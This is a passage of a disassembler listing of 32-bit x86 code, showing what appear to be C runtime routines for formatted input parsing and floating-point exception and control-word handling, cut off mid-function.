		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5


loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C2F8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al


loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43C504
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------


loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi


loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1


loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------


loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58


loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------


loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax


loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx


loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F


loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43C504, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------


loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------


loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43C504, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------


loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280


loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F


loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------


loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------


loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D


loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43C504, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------


loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43C504, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------


loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D


loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------


loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi


loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0


loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]


loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di


loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------


loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C2F8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]


loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax


loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------


loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h


loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D


loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------


loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]


loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------


loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43CC70, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB278, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h


loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43CC70, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------


loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------


loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------


loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx


loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 265036Ch
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h


loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh


loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh


loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------


loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx


loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------


loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------


loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx


loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
